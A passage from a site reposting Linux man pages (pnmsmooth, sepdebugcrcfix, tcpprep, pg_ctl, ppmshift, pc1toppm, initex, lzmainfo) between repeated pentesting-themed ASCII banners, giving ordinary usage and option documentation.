These options were new in Netpbm 10.32 (February 2006). Before that, use -size.

-size
This deprecated option exists in current Netpbm for backward compatibility. It was obsoleted by -width and -height in Netpbm 10.32 (February 2006).

When you use this option, the first two program arguments are the width and height, respectively, of the convolution matrix and do the same thing as the -width and -height option values. The third (optional) program argument is the input file name.

In reality, in old pnmsmooth, the width and height are two values of the -size option, but the modern Netpbm command syntax paradigm doesn’t allow an option with multiple values, so instead -size is an option with no value and width and height are program arguments. That has the fortunate effect of making the following command mean the same in current pnmsmooth as in old pnmsmooth:

     pnmsmooth -size 5 5 infile.ppm >outfile.ppm

**-dump=**dumpfile
This options makes pnmsmooth only show you the convolution matrix. It writes to Standard Output a pnmconvol -matrix option value that represents the matrix. It does not invoke pnmconvol and does not produce an output image.

Before Netpbm 10.49 (December 2009), this option is rather different. It takes a file name as a value, and it writes to that file the convolution matrix as a PGM file (as used to be the normal input for pnmconvol).

SEE ALSO

pnmconvol(1) , pnm(1)

HISTORY

Before Netpbm 10.32 (February 2006), pnmsmooth did not use the modern Netpbm command line parser, so had an unconventional command line syntax. Most importantly, you could not use an equal sign or double hyphens in the options.

Before Netpbm 10.49 (December 2009), there was a -dump option. This strange option caused pnmsmooth not to do any smoothing or produce any output image but instead write the convolution matrix it would have used, as PGM file such as pnmconvol used to use, to a file you specify. The idea was you could then use that file with a separate invocation of pnmconvol.

Then, in Netpbm 10.49, there was a rather different -dump option with a similar purpose: It caused pnmsmooth to write to Standard Error a string suitable as a value for the pnmconvol -matrix option (an option that was new in Netpbm 10.49).

But in Netpbm 10.51 (June 2010), pnmconvol started using the even newer pnmconvol -normalize option (new in 10.50), which made specifying the convolution matrix for the kind of smoothing that pnmsmooth does trivial, so -dump disappeared from pnmsmooth.

(There were also ease of implementation issues that kept us from simply keeping the original -dump around for backward compatibility: As we modified pnmsmooth to take advantage of the new features of pnmconvol, which pnmsmooth uses internally, the information needed to implement -dump was no longer available in the program).

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pnmsmooth.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1659 - Linux cli command sepdebugcrcfix

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command sepdebugcrcfix and provides detailed information about the command sepdebugcrcfix, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the sepdebugcrcfix.

NAME 🖥️ sepdebugcrcfix 🖥️

fixes CRC for separate .debug files

SYNOPSIS

sepdebugcrcfix DEBUG_DIR FILEs

DESCRIPTION

Fixes CRC in .debug files under DEBUG_DIR for the given FILEs

DEBUG_DIR is usually “usr/lib/debug”. FILEs should have relative paths. The relative paths will be used to find the corresponding .debug files under DEBUGDIR

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1660 - Linux cli command tcpprep

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command tcpprep and provides detailed information about the command tcpprep, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the tcpprep.

NAME 🖥️ tcpprep 🖥️

Create a tcpreplay cache cache file from a pcap file.

SYNOPSIS

tcpprep [-flags] [-flag [value]] [–option-name[[=| ]value]]

All arguments must be options.

tcpprep is a pcap(3) file pre-processor which creates a cache file which provides “rules” for tcprewrite(1) and tcpreplay(1) on how to process and send packets.

DESCRIPTION

The basic operation of tcpreplay is to resend all packets from the input file(s) out a single file. Tcpprep processes a pcap file and applies a set of user-specified rules to create a cache file which tells tcpreplay whether or not to send each packet and which interface the packet should be sent out of.

For more details, please see the Tcpreplay Manual at: http://tcpreplay.appneta.com

OPTIONS

Enable debugging output. This option may appear up to 1 times. This option takes an integer number as its argument. The value of number is constrained to being:

in the range  0 through 5

The default number for this option is:

0

If configured with –enable-debug, then you can specify a verbosity level for debugging output. Higher numbers increase verbosity.

Auto-split mode. This option may appear up to 1 times. This option must not appear in combination with any of the following options: cidr, port, regex, mac.

Tcpprep will try to automatically determine the primary function of hosts based on the traffic captured and classify each host as client or server. In order to do so, you must provide a hint to tcpprep as to how to search for clients and servers. Valid hints are:

bridge Bridge mode processes each packet to try to determine if the sender is a client or server. Once all the packets are processed, the results are weighed according to the server/client ratio (–ratio) and systems are assigned an interface. If tcpprep is unable to determine what role a system plays, tcpprep will abort.

router Router mode works just like bridge mode, except that after weighing is done, systems which are undetermined are considered a server if they fall inside a network known to contain other servers. Router has a greater chance of successfully splitting clients and servers but is not 100% foolproof.

client Client mode works just like bridge mode, except that unclassified systems are treated as clients. Client mode should always complete successfully.

server Server mode works just like bridge mode, except that unclassified systems are treated as servers. Server mode should always complete successfully.

first First mode works by looking at the first time each IP is seen in the SRC and DST fields in the IP header. If the host is first seen in the SRC field, it is a client and if it’s first seen in the DST field, it is marked as a server. This effectively replicates the processing of the tomahawk test tool. First mode should always complete successfully.

CIDR-split mode. This option may appear up to 1 times. This option must not appear in combination with any of the following options: auto, port, regex, mac.

Specify a comma delimited list of CIDR netblocks to match against the source IP of each packet. Packets matching any of the CIDR’s are classified as servers.

IPv4 Example:

    --cidr=192.168.0.0/16,172.16.0.0/12,10.0.0.0/8

IPv6 Example:

    --cidr=[::ffff:0:0/96],[fe80::/16]

Regex-split mode. This option may appear up to 1 times. This option must not appear in combination with any of the following options: auto, port, cidr, mac.

Specify a regular expression to match against the source IP of each packet. Packets matching the regex are classified as servers.

Port-split mode. This option may appear up to 1 times. This option must not appear in combination with any of the following options: auto, regex, cidr, mac.

Specifies that TCP and UDP traffic over IPv4 and IPv6 should be classified as client or server based upon the destination port of the header.

Source MAC split mode. This option may appear up to 1 times. This option must not appear in combination with any of the following options: auto, regex, cidr, port.

Specify a list of MAC addresses to match against the source MAC of each packet. Packets matching one of the values are classified as servers.

Matches to be client instead of server. This option may appear up to 1 times.

Normally the –mac, –regex and –cidr flags specify are used to specify the servers and non-IP packets are classified as clients. By using –reverse, these features are reversed so that the flags specify clients and non-IP packets are classified as servers.

Embedded cache file comment. This option may appear up to 1 times.

Specify a comment to be imbedded within the output cache file and later viewed.

Do not embed any cache file comment. This option may appear up to 1 times.

By default, tcpprep includes the arguments passed on the command line in the cache file comment (in addition to any user specified –comment). If for some reason you do not wish to include this, specify this option.

Include only packets matching rule. This option may appear up to 1 times. This option must not appear in combination with any of the following options: exclude.

Override default of processing all packets stored in the capture file and only send/edit packets which match the provided rule. Rules can be one of:

S:<CIDR1>,… - Source IP must match specified IPv4/v6 CIDR(s)

D:<CIDR1>,… - Destination IP must match specified IPv4/v6 CIDR(s)

B:<CIDR1>,… - Both source and destination IP must match specified IPv4/v6 CIDR(s)

E:<CIDR1>,… - Either IP must match specified IPv4/v6 CIDR(s)

P:<LIST> - Must be one of the listed packets where the list corresponds to the packet number in the capture file.

    -x P:1-5,9,15,72-

would process packets 1 through 5, the 9th and 15th packet, and packets 72 until the end of the file

F:’<bpf>’ - BPF filter. See the tcpdump(8) man page for syntax.

Exclude any packet matching this rule. This option may appear up to 1 times. This option must not appear in combination with any of the following options: include.

Override default of processing all packets stored in the capture file and only send/edit packets which do NOT match the provided rule. Rules can be one of:

S:<CIDR1>,… - Source IP must not match specified IPv4/v6 CIDR(s)

D:<CIDR1>,… - Destination IP must not match specified IPv4/v6 CIDR(s)

B:<CIDR1>,… - Both source and destination IP must not match specified IPv4/v6 CIDR(s)

E:<CIDR1>,… - Either IP must not match specified IPv4/v6 CIDR(s)

P:<LIST> - Must not be one of the listed packets where the list corresponds to the packet number in the capture file.

    -x P:1-5,9,15,72-

would skip packets 1 through 5, the 9th and 15th packet, and packets 72 until the end of the file

Output cache file. This option may appear up to 1 times.

Input pcap file to process. This option may appear up to 1 times.

Print embedded comment in the specified cache file. This option may appear up to 1 times.

Print basic info from the specified cache file. This option may appear up to 1 times.

Print statistical information about the specified cache file. This option may appear up to 1 times.

Load services file for server ports. This option may appear up to 1 times. This option must appear in combination with the following options: port.

Uses a list of ports used by servers in the same format as of /etc/services: <service_name> <port>/<protocol> # comment

Example: http 80/tcp

Send non-IP traffic out server interface. This option may appear up to 1 times.

By default, non-IP traffic which can not be classified as client or server is classified as “client”. Specifying –nonip will reclassify non-IP traffic as “server”. Note that the meaning of this flag is reversed if –reverse is used.

Ratio of client to server packets. This option may appear up to 1 times. This option must appear in combination with the following options: auto. The default string for this option is:

2.0

Since a given host may have both client and server traffic being sent to/from it, tcpprep uses a ratio to weigh these packets. If you would like to override the default of 2:1 server to client packets required for a host to be classified as a server, specify it as a floating point value.

Minimum network mask length in auto mode. This option may appear up to 1 times. This option must appear in combination with the following options: auto. This option takes an integer number as its argument. The value of number is constrained to being:

in the range  0 through 32

The default number for this option is:

30

By default, auto modes use a minimum network mask length of 30 bits to build networks containing clients and servers. This allows you to override this value. Larger values will increase performance but may provide inaccurate results.

Maximum network mask length in auto mode. This option may appear up to 1 times. This option must appear in combination with the following options: auto. This option takes an integer number as its argument. The value of number is constrained to being:

in the range  0 through 32

The default number for this option is:

8

By default, auto modes use a maximum network mask length of 8 bits to build networks containing clients and servers. This allows you to override this value. Larger values will decrease performance and accuracy but will provide greater chance of success.

Print decoded packets via tcpdump to STDOUT. This option may appear up to 1 times.

Arguments passed to tcpdump decoder. This option may appear up to 1 times. This option must appear in combination with the following options: verbose.

When enabling verbose mode (-v) you may also specify one or more additional arguments to pass to tcpdump to modify the way packets are decoded. By default, -n and -l are used. Be sure to quote the arguments so that they are not interpreted by tcprewrite. The following arguments are valid: [ -aAeNqRStuvxX ] [ -E spi@ipaddr algo:secret,… ] [ -s snaplen ]

Print version information.

Display less usage information and exit.

This option has not been fully documented.

suppress printing warning messages.

Display usage information and exit.

Pass the extended usage information through a pager.

Save the option state to cfgfile. The default is the last configuration file listed in the OPTION PRESETS section, below. The command will exit after updating the config file.

Load options from cfgfile. The no-load-opts form will disable the loading of earlier config/rc/ini files. –no-load-opts is handled early, out of order.

OPTION PRESETS

Any option that is not marked as not presettable may be preset by loading values from configuration (“RC” or “.INI”) file(s). The homerc file is “$$/”, unless that is a directory. In that case, the file “.tcppreprc” is searched for within that directory.

FILES

See OPTION PRESETS for configuration files.

EXIT STATUS

One of the following exit values will be returned:

Successful program execution.

The operation failed or the command syntax was not valid.

A specified configuration file could not be loaded.

libopts had an internal operational error. Please report it to [email protected]. Thank you.

AUTHORS

Copyright 2013-2024 Fred Klassen - AppNeta Copyright 2000-2012 Aaron Turner For support please use the [email protected] mailing list. The latest version of this software is always available from: http://tcpreplay.appneta.com/

COPYRIGHT

Copyright (C) 2000-2024 Aaron Turner and Fred Klassen all rights reserved. This program is released under the terms of the GNU General Public License, version 3 or later.

BUGS

Please send bug reports to: [email protected]

NOTES

This manual page was AutoGen-erated from the tcpprep option definitions.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1661 - Linux cli command pg_ctl

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pg_ctl and provides detailed information about the command pg_ctl, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pg_ctl.

NAME 🖥️ pg_ctl 🖥️

initialize, start, stop, or control a PostgreSQL server

SYNOPSIS

pg_ctl init[db] [-D datadir] [-s] [-o initdb-options]

pg_ctl start [-D datadir] [-l filename] [-W] [-t seconds] [-s] [-o options] [-p path] [-c]

pg_ctl stop [-D datadir] [-m s[mart] | f[ast] | i[mmediate]] [-W] [-t seconds] [-s]

pg_ctl restart [-D datadir] [-m s[mart] | f[ast] | i[mmediate]] [-W] [-t seconds] [-s] [-o options] [-c]

pg_ctl reload [-D datadir] [-s]

pg_ctl status [-D datadir]

pg_ctl promote [-D datadir] [-W] [-t seconds] [-s]

pg_ctl logrotate [-D datadir] [-s]

pg_ctl kill signal_name process_id

On Microsoft Windows, also:

pg_ctl register [-D datadir] [-N servicename] [-U username] [-P password] [-S a[uto] | d[emand]] [-e source] [-W] [-t seconds] [-s] [-o options]

pg_ctl unregister [-N servicename]

DESCRIPTION

pg_ctl is a utility for initializing a PostgreSQL database cluster, starting, stopping, or restarting the PostgreSQL database server (postgres(1)), or displaying the status of a running server. Although the server can be started manually, pg_ctl encapsulates tasks such as redirecting log output and properly detaching from the terminal and process group. It also provides convenient options for controlled shutdown.

The init or initdb mode creates a new PostgreSQL database cluster, that is, a collection of databases that will be managed by a single server instance. This mode invokes the initdb command. See initdb(1) for details.

start mode launches a new server. The server is started in the background, and its standard input is attached to /dev/null (or nul on Windows). On Unix-like systems, by default, the servers standard output and standard error are sent to pg_ctls standard output (not standard error). The standard output of pg_ctl should then be redirected to a file or piped to another process such as a log rotating program like rotatelogs; otherwise postgres will write its output to the controlling terminal (from the background) and will not leave the shells process group. On Windows, by default the servers standard output and standard error are sent to the terminal. These default behaviors can be changed by using -l to append the servers output to a log file. Use of either -l or output redirection is recommended.

stop mode shuts down the server that is running in the specified data directory. Three different shutdown methods can be selected with the -m option. “Smart” mode disallows new connections, then waits for all existing clients to disconnect. If the server is in hot standby, recovery and streaming replication will be terminated once all clients have disconnected. “Fast” mode (the default) does not wait for clients to disconnect. All active transactions are rolled back and clients are forcibly disconnected, then the server is shut down. “Immediate” mode will abort all server processes immediately, without a clean shutdown. This choice will lead to a crash-recovery cycle during the next server start.

restart mode effectively executes a stop followed by a start. This allows changing the postgres command-line options, or changing configuration-file options that cannot be changed without restarting the server. If relative paths were used on the command line during server start, restart might fail unless pg_ctl is executed in the same current directory as it was during server start.

reload mode simply sends the postgres server process a SIGHUP signal, causing it to reread its configuration files (postgresql.conf, pg_hba.conf, etc.). This allows changing configuration-file options that do not require a full server restart to take effect.

status mode checks whether a server is running in the specified data directory. If it is, the servers PID and the command line options that were used to invoke it are displayed. If the server is not running, pg_ctl returns an exit status of 3. If an accessible data directory is not specified, pg_ctl returns an exit status of 4.

promote mode commands the standby server that is running in the specified data directory to end standby mode and begin read-write operations.

logrotate mode rotates the server log file. For details on how to use this mode with external log rotation tools, see Section 25.3.

kill mode sends a signal to a specified process. This is primarily valuable on Microsoft Windows which does not have a built-in kill command. Use –help to see a list of supported signal names.

register mode registers the PostgreSQL server as a system service on Microsoft Windows. The -S option allows selection of service start type, either “auto” (start service automatically on system startup) or “demand” (start service on demand).

unregister mode unregisters a system service on Microsoft Windows. This undoes the effects of the register command.

OPTIONS

-c
–core-files

Attempt to allow server crashes to produce core files, on platforms where this is possible, by lifting any soft resource limit placed on core files. This is useful in debugging or diagnosing problems by allowing a stack trace to be obtained from a failed server process.

-D datadir
**–pgdata=**datadir

Specifies the file system location of the database configuration files. If this option is omitted, the environment variable PGDATA is used.

-l filename
**–log=**filename

Append the server log output to filename. If the file does not exist, it is created. The umask is set to 077, so access to the log file is disallowed to other users by default.

-m mode
**–mode=**mode

Specifies the shutdown mode. mode can be smart, fast, or immediate, or the first letter of one of these three. If this option is omitted, fast is the default.

-o options
**–options=**options

Specifies options to be passed directly to the postgres command. -o can be specified multiple times, with all the given options being passed through.

The options should usually be surrounded by single or double quotes to ensure that they are passed through as a group.

-o initdb-options
**–options=**initdb-options

Specifies options to be passed directly to the initdb command. -o can be specified multiple times, with all the given options being passed through.

The initdb-options should usually be surrounded by single or double quotes to ensure that they are passed through as a group.

-p path

Specifies the location of the postgres executable. By default the postgres executable is taken from the same directory as pg_ctl, or failing that, the hard-wired installation directory. It is not necessary to use this option unless you are doing something unusual and get errors that the postgres executable was not found.

In init mode, this option analogously specifies the location of the initdb executable.

-s
–silent

Print only errors, no informational messages.

-t seconds
**–timeout=**seconds

Specifies the maximum number of seconds to wait when waiting for an operation to complete (see option -w). Defaults to the value of the PGCTLTIMEOUT environment variable or, if not set, to 60 seconds.

-V
–version

Print the pg_ctl version and exit.

-w
–wait

Wait for the operation to complete. This is supported for the modes start, stop, restart, promote, and register, and is the default for those modes.

When waiting, pg_ctl repeatedly checks the servers PID file, sleeping for a short amount of time between checks. Startup is considered complete when the PID file indicates that the server is ready to accept connections. Shutdown is considered complete when the server removes the PID file. pg_ctl returns an exit code based on the success of the startup or shutdown.

If the operation does not complete within the timeout (see option -t), then pg_ctl exits with a nonzero exit status. But note that the operation might continue in the background and eventually succeed.

-W
–no-wait

Do not wait for the operation to complete. This is the opposite of the option -w.

If waiting is disabled, the requested action is triggered, but there is no feedback about its success. In that case, the server log file or an external monitoring system would have to be used to check the progress and success of the operation.

In prior releases of PostgreSQL, this was the default except for the stop mode.

-?
–help

Show help about pg_ctl command line arguments, and exit.

If an option is specified that is valid, but not relevant to the selected operating mode, pg_ctl ignores it.

Options for Windows

-e source

Name of the event source for pg_ctl to use for logging to the event log when running as a Windows service. The default is PostgreSQL. Note that this only controls messages sent from pg_ctl itself; once started, the server will use the event source specified by its event_source parameter. Should the server fail very early in startup, before that parameter has been set, it might also log using the default event source name PostgreSQL.

-N servicename

Name of the system service to register. This name will be used as both the service name and the display name. The default is PostgreSQL.

-P password

Password for the user to run the service as.

-S start-type

Start type of the system service. start-type can be auto, or demand, or the first letter of one of these two. If this option is omitted, auto is the default.

-U username

User name for the user to run the service as. For domain users, use the format DOMAIN\username.

ENVIRONMENT

PGCTLTIMEOUT

Default limit on the number of seconds to wait when waiting for startup or shutdown to complete. If not set, the default is 60 seconds.

PGDATA

Default data directory location.

Most pg_ctl modes require knowing the data directory location; therefore, the -D option is required unless PGDATA is set.

For additional variables that affect the server, see postgres(1).

FILES

postmaster.pid

pg_ctl examines this file in the data directory to determine whether the server is currently running.

postmaster.opts

If this file exists in the data directory, pg_ctl (in restart mode) will pass the contents of the file as options to postgres, unless overridden by the -o option. The contents of this file are also displayed in status mode.

EXAMPLES

Starting the Server

To start the server, waiting until the server is accepting connections:

$ pg_ctl start

To start the server using port 5433, and running without fsync, use:

$ pg_ctl -o “-F -p 5433” start

Stopping the Server

To stop the server, use:

$ pg_ctl stop

The -m option allows control over how the server shuts down:

$ pg_ctl stop -m smart

Restarting the Server

Restarting the server is almost equivalent to stopping the server and starting it again, except that by default, pg_ctl saves and reuses the command line options that were passed to the previously-running instance. To restart the server using the same options as before, use:

$ pg_ctl restart

But if -o is specified, that replaces any previous options. To restart using port 5433, disabling fsync upon restart:

$ pg_ctl -o “-F -p 5433” restart

Showing the Server Status

Here is sample status output from pg_ctl:

$ pg_ctl status

pg_ctl: server is running (PID: 13718)
/usr/local/pgsql/bin/postgres "-D" "/usr/local/pgsql/data" "-p" "5433" "-B" "128"

The second line is the command that would be invoked in restart mode.

SEE ALSO

initdb(1), postgres(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1662 - Linux cli command ppmshift

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ppmshift and provides detailed information about the command ppmshift, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ppmshift.

.

NAME 🖥️ ppmshift 🖥️

shift lines of a PPM image left or right by a random amount

SYNOPSIS

ppmshift shift [ppmfile]

DESCRIPTION

This program is part of Netpbm(1) .

ppmshift reads a PPM image as input. It shifts every row of image data to the left or right by a random amount, within a range of shift pixels. The random distribution is uniform, centered at zero movement.

The randomness in the image is limited before Netpbm 10.37 (December 2006) – if you run the program twice in the same second, you may get identical output.

This is an effect the author intended to use for MPEG tests. Unfortunately, this program is not useful for that - it creates too random patterns to be used for animations. Still, it might give interesting results on still images.

OPTIONS

There are no command line options defined specifically for ppmshift, but it recognizes the options common to all programs based on libnetpbm (See Common Options .)

EXAMPLE

Check this out: Save your favorite model’s picture from something like alt.binaries.pictures.supermodels (ok, or from any other picture source), convert it to ppm, and process it e.g. like this, assuming the picture is 800x600 pixels:

     #take the upper half, and leave it like it is
     pamcut -top=0 -width=800 -height=300 cs.ppm >upper.ppm
     
     #take the lower half, flip it upside down, dim it and distort it a little
     pamcut -top=300 -width=800 -height=300 cs.ppm | \
         pamflip -topbottom | \
         ppmdim 0.7 | \
         ppmshift 10 >lower.ppm
     
     #and concatenate the two pieces
     pamcat -topbottom upper.ppm lower.ppm >newpic.ppm

The resulting picture looks like the image being reflected on a water surface with slight ripples.

SEE ALSO

ppm(1) , pamcut(1) , pamflip(1) , ppmdim(1) , pamcat(1)

AUTHOR

Copyright (C) 1993 by Frank Neumann

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/ppmshift.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1663 - Linux cli command pc1toppm

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pc1toppm and provides detailed information about the command pc1toppm, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pc1toppm.

.

NAME 🖥️ pc1toppm 🖥️

convert an Atari Degas .pc1 into a PPM image

SYNOPSIS

pc1toppm

[pc1file]

DESCRIPTION

This program is part of Netpbm(1) .

pc1toppm reads an Atari Degas .pc1 file as input and produces a PPM image as output.

The .pc1 format is a compressed (run length encoded) variation on .pi1.

OPTIONS

There are no command line options defined specifically for pc1toppm, but it recognizes the options common to all programs based on libnetpbm (See Common Options .)

HISTORY

pc1toppm was new in Netpbm 10.22 (April 2004)

SEE ALSO

ppm(1) , pi1toppm(1) , pi3topbm(1) , pbmtopi3(1)

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pc1toppm.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1664 - Linux cli command initex

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command initex and provides detailed information about the command initex, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the initex.

NAME 🖥️ initex 🖥️

text formatting and typesetting

SYNOPSIS

tex [options] [*&format] [file|*commands]

DESCRIPTION

Run the TeX typesetter on file, usually creating file.dvi. If the file argument has no extension, “.tex” will be appended to it. Instead of a filename, a set of TeX commands can be given, the first of which must start with a backslash. With a &format argument TeX uses a different set of precompiled commands, contained in format.fmt; it is usually better to use the -fmt format option instead.

TeX formats the interspersed text and commands contained in the named files and outputs a typesetter independent file (called DVI, which is short for DeVice Independent). TeX’s capabilities and language are described in The TeXbook. TeX is normally used with a large body of precompiled macros, and there are several specific formatting systems, such as LaTeX, which require the support of several macro files.

This version of TeX looks at its command line to see what name it was called under. If they exist, then both initex and virtex are symbolic links to the tex executable. When called as initex (or when the -ini option is given) it can be used to precompile macros into a .fmt file. When called as virtex it will use the plain format. When called under any other name, TeX will use that name as the name of the format to use. For example, when called as tex the tex format is used, which is identical to the plain format. The commands defined by the plain format are documented in The TeXbook. Other formats that are often available include latex and amstex.

The non-option command line arguments to the TeX program are passed to it as the first input line. (But it is often easier to type extended arguments as the first input line, since UNIX shells tend to gobble up or misinterpret TeX’s favorite symbols, like backslashes, unless you quote them.) As described in The TeXbook, that first line should begin with a filename, a *

1665 - Linux cli command lzmainfo

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command lzmainfo and provides detailed information about the command lzmainfo, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the lzmainfo.

NAME 🖥️ lzmainfo 🖥️

show information stored in the .lzma file header

SYNOPSIS

lzmainfo [–help] [–version] [file…]

DESCRIPTION

lzmainfo shows information stored in the .lzma file header. It reads the first 13 bytes from the specified file, decodes the header, and prints it to standard output in human readable format. If no files are given or file is -, standard input is read.

